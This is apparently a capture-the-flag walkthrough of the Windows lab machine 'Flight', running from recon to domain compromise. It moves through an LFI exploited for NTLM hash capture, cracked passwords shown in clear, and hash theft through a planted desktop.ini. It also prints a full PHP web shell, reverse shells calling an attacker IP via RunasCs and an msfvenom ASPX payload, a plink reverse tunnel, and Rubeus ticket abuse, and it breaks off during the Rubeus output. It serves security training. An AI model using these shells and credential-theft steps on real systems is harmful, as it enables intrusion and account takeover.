Machine Info

Spoiler
Flight is a hard Windows machine that starts with a website with two different virtual hosts. One of them is vulnerable to LFI and allows an attacker to retrieve an NTLM hash. Once cracked, the obtained clear text password will be sprayed across a list of valid usernames to discover a password re-use scenario. Once the attacker has SMB access as the user s.moon he is able to write to a share that gets accessed by other users. Certain files can be used to steal the NTLMv2 hash of the users that access the share. Once the second hash is cracked the attacker will be able to write a reverse shell in a share that hosts the web files and gain a shell on the box as low privileged user. Having credentials for the user c.bum, it will be possible to gain a shell as this user, which will allow the attacker to write an aspx web shell on a web site that's configured to listen only on localhost. Once the attacker has command execution as the Microsoft Virtual Account he is able to run Rubeus to get a ticket for the machine account that can be used to perform a DCSync attack ultimately obtaining the hashes for the Administrator user.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
ports=$(nmap -p- --min-rate=1000 -T4 10.129.228.120 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV 10.129.228.120
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 21:42 CET
Nmap scan report for 10.129.228.120
Host is up (0.12s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-20 03:42:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
58229/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-01-20T03:43:01
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
└─$ ffuf -u http://go.flight.htb/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt  -e .php,.txt  -recursion -recursion-depth 3 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://go.flight.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Extensions       : .php .txt 
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess.txt           [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 93ms]
.htaccess.php           [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 101ms]
.htpasswd.txt           [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 101ms]
.htaccess               [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 104ms]
.htpasswd.php           [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 104ms]
.htpasswd               [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 150ms]
Images                  [Status: 200, Size: 5513, Words: 508, Lines: 38, Duration: 40ms]
aux.php                 [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 26ms]
aux.txt                 [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 35ms]
aux                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 37ms]
cgi-bin/                [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 70ms]
con                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 72ms]
con.php                 [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 72ms]
con.txt                 [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 71ms]
css                     [Status: 200, Size: 1398, Words: 131, Lines: 19, Duration: 47ms]
images                  [Status: 200, Size: 5513, Words: 508, Lines: 38, Duration: 136ms]
js                      [Status: 200, Size: 2979, Words: 261, Lines: 26, Duration: 58ms]
licenses                [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 77ms]
lpt2.txt                [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 78ms]
nul.php                 [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 72ms]
nul                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 78ms]
nul.txt                 [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 78ms]
phpmyadmin              [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 55ms]
prn.php                 [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 49ms]
server-info             [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 123ms]
server-status           [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 156ms]
webalizer               [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 49ms]
:: Progress: [61443/61443] :: Job [1/1] :: 724 req/sec :: Duration: [0:02:38] :: Errors: 0 ::
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ ffuf -u http://go.flight.htb/ -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 7069

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://go.flight.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.flight.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7069
________________________________________________

school                  [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 377ms]

Our initial enumeration gave us immediately the school subdomain.

School

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

└─$ ffuf -u 'http://school.flight.htb/index.php?view=FUZZ' -r -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt  -e .html -fs 1170,1102    

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://school.flight.htb/index.php?view=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt
 :: Extensions       : .html 
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1170,1102
________________________________________________

index.php               [Status: 200, Size: 3194, Words: 399, Lines: 92, Duration: 90ms]
home.html               [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 79ms]
about.html              [Status: 200, Size: 2791, Words: 498, Lines: 53, Duration: 77ms]
blog.html               [Status: 200, Size: 4720, Words: 1111, Lines: 76, Duration: 79ms]
Home.html               [Status: 200, Size: 3785, Words: 991, Lines: 85, Duration: 52ms]
Index.php               [Status: 200, Size: 3194, Words: 399, Lines: 92, Duration: 48ms]
About.html              [Status: 200, Size: 2791, Words: 498, Lines: 53, Duration: 104ms]
Blog.html               [Status: 200, Size: 4720, Words: 1111, Lines: 76, Duration: 133ms]

Interestigly enough we see the view parameter that includes an HTML page. If abused it can lead to LFI. Let’s check that. After trying few things we can managed to include the PHP page itself.

For /index.php?view=index.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE); 

if(isset($_GET['view'])){
$file=$_GET['view'];
if ((strpos(urldecode($_GET['view']),'..')!==false)||
    (strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
    (strpos(urldecode($_GET['view']),'\\')!==false)||
    (strpos(urldecode($_GET['view']),'htaccess')!==false)||
    (strpos(urldecode($_GET['view']),'.shtml')!==false)
){
    echo "<h1>Suspicious Activity Blocked!";
    echo "<h3>Incident will be reported</h3>\r\n";
}else{
    echo file_get_contents($_GET['view']);	
}
}else{
    echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html");
}
?>

We confirm the LFI vulnerability by including some well known Windows files such as C:/Windows/system32/drivers/etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost

Let’s abuse that by pointing to a remote share which will be our attacker machine running responder. /index.php?view=///lol.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
─$ sudo responder -I tun0            
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.6.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

...

[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:16db14cf0fda3906:276FE827B7205BBBFA76E20FAE0B3D63:010100000000000080A6AFD74D8ADC0182B78928BAFAC05C0000000002000800410059004400590001001E00570049004E002D00300037005000440055005A004400370037004300360004003400570049004E002D00300037005000440055005A00440037003700430036002E0041005900440059002E004C004F00430041004C000300140041005900440059002E004C004F00430041004C000500140041005900440059002E004C004F00430041004C000700080080A6AFD74D8ADC01060004000200000008003000300000000000000000000000003000002930EE7E3EA407E4FAD9E626EE43BE367F4D9768250EFCE762F54DB89F9BE50B0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100370038000000000000000000  
svc_apache's password
1
2
3
4
5
6
7
8
└─$ hashcat -m 5600 svc_apache.ntlmv2 /usr/share/wordlists/rockyou.txt.gz

SVC_APACHE::flight:16db14cf0fda3906:276fe827b7205bbbfa76e20fae0b3d63:010100000000000080a6afd74d8adc0182b78928bafac05c0000000002000800410059004400590001001e00570049004e002d00300037005000440055005a004400370037004300360004003400570049004e002d00300037005000440055005a00440037003700430036002e0041005900440059002e004c004f00430041004c000300140041005900440059002e004c004f00430041004c000500140041005900440059002e004c004f00430041004c000700080080a6afd74d8adc01060004000200000008003000300000000000000000000000003000002930ee7e3ea407e4fad9e626ee43be367f4d9768250efce762f54db89f9be50b0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100370038000000000000000000:S@Ss!K@*t13
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
...

Second user

Let’s enumerate further the shares and more now that we have credentials.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
┌──(panas㉿kalig5)-[~/Desktop/htb-labs/AD/flight]
└─$ crackmapexec smb 10.129.228.120 -u svc_apache -p '<PASSWORD>' --shares
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.129.228.120  445    G0               [+] flight.htb\svc_apache:
SMB         10.129.228.120  445    G0               [+] Enumerated shares
SMB         10.129.228.120  445    G0               Share           Permissions     Remark
SMB         10.129.228.120  445    G0               -----           -----------     ------
SMB         10.129.228.120  445    G0               ADMIN$                          Remote Admin                                                                                          
SMB         10.129.228.120  445    G0               C$                              Default share                                                                                         
SMB         10.129.228.120  445    G0               IPC$            READ            Remote IPC                                                                                            
SMB         10.129.228.120  445    G0               NETLOGON        READ            Logon server share                                                                                    
SMB         10.129.228.120  445    G0               Shared          READ            
SMB         10.129.228.120  445    G0               SYSVOL          READ            Logon server share                                                                                    
SMB         10.129.228.120  445    G0               Users           READ            
SMB         10.129.228.120  445    G0               Web             READ 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ impacket-smbclient [email protected]
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use Web
# ls
drw-rw-rw-          0  Thu Jan 22 04:52:00 2026 .
drw-rw-rw-          0  Thu Jan 22 04:52:00 2026 ..
drw-rw-rw-          0  Thu Jan 22 04:52:00 2026 flight.htb
drw-rw-rw-          0  Thu Jan 22 04:52:00 2026 school.flight.htb

# use Users
# ls
drw-rw-rw-          0  Thu Sep 22 22:16:56 2022 .
drw-rw-rw-          0  Thu Sep 22 22:16:56 2022 ..
drw-rw-rw-          0  Thu Sep 22 21:28:03 2022 .NET v4.5
drw-rw-rw-          0  Thu Sep 22 21:28:02 2022 .NET v4.5 Classic
drw-rw-rw-          0  Mon Oct 31 19:34:00 2022 Administrator
drw-rw-rw-          0  Tue Jul 20 22:19:19 2021 All Users
drw-rw-rw-          0  Thu Sep 22 22:08:23 2022 C.Bum
drw-rw-rw-          0  Tue Jul 20 21:20:24 2021 Default
drw-rw-rw-          0  Tue Jul 20 22:19:19 2021 Default User
-rw-rw-rw-        174  Tue Jul 20 22:17:23 2021 desktop.ini
drw-rw-rw-          0  Tue Jul 20 21:23:25 2021 Public
drw-rw-rw-          0  Fri Oct 21 20:50:21 2022 svc_apache

Here we get explore the shares. We will use a cme to get everything with the spider_plus module.

1
cme smb flight.htb -u svc_apache -p <password> -M spider_plus

We checked all the files but nothing interesting found. Proceeding with enumerating the AD users.

1
2
3
└─$ windapsearch -d flight.htb -m custom --filter "(objectClass=*)" --attrs cn  -u svc_apache -o windap.out
Password for [[email protected]]: 
[+] windap.out written
Tip
We used windapsearch here but the same and maybe quicker could be done with crackmapexec and the flag to enum users: --users.
Re-used credentials found for S.Moon
1
2
3
4

└─$ crackmapexec smb 10.129.228.120 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.129.228.120  445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13

Third user

With our new user credentials the only difference we see is that we have a WRITE access on the Shared share! The name indicates that this share maybe be used by others. We can try and lure users leaking their NTLMv2 hash and grab it again with responder. For that we will use a tool called ntlm_theft.py in order to create different files for that purpose.

1
2
3
└─$ python3 ntlm_theft.py  -g desktopini -s <ATTACKER-IP> -f malaka
Created: malaka/desktop.ini (BROWSE TO FOLDER)
Generation Complete.

We create a desktopini file as after testing it was the only one we could upload!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
─$ impacket-smbclient [email protected]
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# ls
[-] No share selected
# use Shared
# ls
drw-rw-rw-          0  Thu Jan 22 04:08:11 2026 .
drw-rw-rw-          0  Thu Jan 22 04:08:11 2026 ..
# put malaka/desktop.ini
# ls
drw-rw-rw-          0  Thu Jan 22 04:08:11 2026 .
drw-rw-rw-          0  Thu Jan 22 04:08:11 2026 ..
-rw-rw-rw-         48  Thu Jan 22 04:35:40 2026 desktop.ini

We launch Responder and wait.

1
2
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:d116c9b76ada8fab:78314298D6F97D532D721F599AE56E70:010100000000000000B46D4B1F8BDC01F91F1489FA455A83000000000200080052004D0041004D0001001E00570049004E002D005200580052003300420039005A00430037005700370004003400570049004E002D005200580052003300420039005A0043003700570037002E0052004D0041004D002E004C004F00430041004C000300140052004D0041004D002E004C004F00430041004C000500140052004D0041004D002E004C004F00430041004C000700080000B46D4B1F8BDC0106000400020000000800300030000000000000000000000000300000E5651134448824B7C298F2EC76D5D5726F204B632876AD0B583862AB3D32C1830A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100370038000000000000000000 
C.Bum's Cracked hash
`Tikkycoll_431012284`

Using impacket-smbclient we go the Users share and get the user.txt.


Root

RunasCs C.Bum

Running again cme we can see that we got now write access to the Web share.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
└─$ crackmapexec smb 10.129.228.120 -u c.bum -p <PASSWORD> --shares
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.129.228.120  445    G0               [+] flight.htb\c.bum:Tikkycoll_431012284 
SMB         10.129.228.120  445    G0               [+] Enumerated shares
SMB         10.129.228.120  445    G0               Share           Permissions     Remark
SMB         10.129.228.120  445    G0               -----           -----------     ------
SMB         10.129.228.120  445    G0               ADMIN$                          Remote Admin
SMB         10.129.228.120  445    G0               C$                              Default share
SMB         10.129.228.120  445    G0               IPC$            READ            Remote IPC
SMB         10.129.228.120  445    G0               NETLOGON        READ            Logon server share 
SMB         10.129.228.120  445    G0               Shared          READ,WRITE      
SMB         10.129.228.120  445    G0               SYSVOL          READ            Logon server share 
SMB         10.129.228.120  445    G0               Users           READ            
SMB         10.129.228.120  445    G0               Web             READ,WRITE    

So let’s upload a web shell and in order to achieve RCE and a reverse shell as a target goal as currently we don’t have that.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
└─$ cat php-bins/lol3.php 
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

We put this web shell in flight or school folder and we reach out from the webpage.

We bring a powershell payload from revshells.com and we launch our nc listener. We are going to use also rlwrap for having a bit more interactive shell.

Tip
rlwrap is a readline wrapper. When you put it in front of something like nc, it adds interactive shell features that reverse shells normally lack, such as Command history (↑ ↓), Proper backspace and Cursor movement (← →).

Finally we get the reverse shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
SHELL> ls


    Directory: C:\xampp\htdocs\flight.htb


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        1/23/2026   3:22 PM                css                                                                   
d-----        1/23/2026   3:22 PM                images                                                                
d-----        1/23/2026   3:22 PM                js                                                                    
-a----        2/23/2022   9:58 PM           7069 index.html                                                            
-a----        1/23/2026   2:54 PM            348 lol3.php 

We could look around and enumerate the host a bit. What catches our eye is the inetpub directory and while looking at the open ports we can port 8000 being open.

1
TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4

Trying to hit it with curl returns us a problem with the hostname header. The development directory we see it has propably the pages of this website and we also check who has the rights to put files on it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PS C:\inetpub> ls
ls


    Directory: C:\inetpub


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        9/22/2022  12:24 PM                custerr                                                               
d-----        1/23/2026   5:32 PM                development                                                           
d-----        9/22/2022   1:08 PM                history                                                               
d-----        9/22/2022  12:32 PM                logs                                                                  
d-----        9/22/2022  12:24 PM                temp                                                                  
d-----        9/22/2022  12:28 PM                wwwroot                                                               


PS C:\inetpub>
icacls development
development flight\C.Bum:(OI)(CI)(W)
            NT SERVICE\TrustedInstaller:(I)(F)
            NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
            NT AUTHORITY\SYSTEM:(I)(F)
            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
            BUILTIN\Administrators:(I)(F)
            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
            BUILTIN\Users:(I)(RX)
            BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
            CREATOR OWNER:(I)(OI)(CI)(IO)(F)

So we need to switch to our known user C.Bum. In order to do that normally we would runas.exe but that will prompt for password which needs a GUI. Luckily for us there is a version of the same tool for that purpose that let’s you pass commands and the password right away. We get RunasCs and upload it to our victim host either with SMB or HTTP.

We run another lister.

1
└─$ rlwrap nc -lvnp 4445   
1
2
3
4
5
6
.\RunasCs.exe c.bum Tikkycoll_431012284 powershell.exe -r <ATTACKER-IP>:4445
[*] Warning: The logon for user 'c.bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-8901a$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4244 created in background.
1
2
3
4
5

PS C:\inetpub> whoami
whoami
flight\c.bum
PS C:\inetpub> 

That’s how we establish a shell as C.Bum!

Expose internal service

Our current user has these permissions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes                                        
========================================== ================ ============================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Group used for deny only                          
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
flight\WebDevs                             Group            S-1-5-21-4078382237-1492182817-2568127209-1614 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192  

The privileges are limited and the groups doesn’t give us much. We see the WebDevs domain group which doesn’t have any more privileges as we checked bloodhound. But it makes sense that we can edit the internal IIS web files. So let’s shift to that direction in exploiting the web app.

As we establised curl doesn’t work and we need to expose that internal service. Our goal would be to run a web shell or even better a reverse shell as the system that runs that service which hopefully would have elevated permissions. That is possible since our user now can write files into the C:\inetpub dir.

We will do this with Chisel.

Info
Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.

We will need to transfer the file to the victim and have also our version on the attacker host.

Unfortunatelly due to server problems we couldn’t upload Chisel as it’s quite big. So we needed another tunneling alternative. For that we will use plink.

Info
Plink is a command-line interface (CLI) for the PuTTY SSH client, designed for automated, non-interactive network connections on Windows, such as SSH, Telnet, and Rlogin. It is frequently used for scripting, file transfers, and establishing secure SSH tunnels or reverse connections, often utilized in network administration or, sometimes, for evasion techniques by attackers.

For that we need also to enale SSH service in our attacker machine. We also pipe the required prompts for the ssh connection!

1
PS C:\xampp\htdocs\flight.htb> cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw <ATTACKER-PASSWORD> -R 127.0.0.1:9833:127.0.0.1:8000 <ATTACKER-IP>

We make a reverse SSH connection forwarding victim port 8000 to our attacker machine on port 9833. And we get the website!

The website doesn’t have much but in anycase we focus straight away in trying to get RCE and a shell. Website is from ASP.Net as it seems so we should use a APSX reverse shell. Let’s generate that with msfvenom.

1
2
3
4
5
6
7
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.18 LPORT=4445 -f aspx -o lol.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3425 bytes
Saved as: lol.aspx

We start our listener and hit the website http://localhost:9833/lol.aspx.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ rlwrap nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.228.120] 50127
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

We got a shell as a privileged system user and specifically iis apppool\defaultapppool is a Microsoft Virtual Account.

Info
Services that run as virtual accounts access network resources by using the credentials of the computer account in the format <domain_name><computer_name>$.

These accounts have the characteristic that when the authenticate via the network they do so as the machine account. Let’s see that in Responder.

1
2
3
c:\windows\system32\inetsrv>dir \\10.10.14.18\ANTEGAMISOUMALAKIA
dir \\10.10.14.18\ANTEGAMISOUMALAKIA
Access is denied.
[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight\G0$
[SMB] NTLMv2-SSP Hash     : G0$::flight:70d52655a4628d28:3644FD9474E57C885B1C6B034D5DA7C6:010100000000000000ECA086B38CDC01B3CC8DAE673FD6E80000000002000800360045003300550001001E00570049004E002D0042005200500050004F00320056003700440033004D0004003400570049004E002D0042005200500050004F00320056003700440033004D002E0036004500330055002E004C004F00430041004C000300140036004500330055002E004C004F00430041004C000500140036004500330055002E004C004F00430041004C000700080000ECA086B38CDC0106000400020000000800300030000000000000000000000000300000D56441241F282E553E6F6C81FBA800C6B9C6EA2CDC714655A973EF653BA1FD560A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310038000000000000000000 

We cannot crack that hash as normally these passwords are really long and rotate frequently. What we can do is ask for a ticket for the machine account over the network.

Info
An alternate privilege escalation route would be with the Potato familiy of attacks. The “user” IIS APPPOOL\DefaultAppPool is a service/virtual account. This means that is has the SeImpersonatePrivilege enabled. This privilege is associated with a family of exploits known as “potatoes”. You can read more about them here.

TGT G0$ - DCSync

We upload Rubeus for that.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
C:\ProgramData>C:\xampp\htdocs\flight.htb\Rubeus.exe tgtdeleg /nowrap
C:\xampp\htdocs\flight.htb\Rubeus.exe tgtdeleg /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
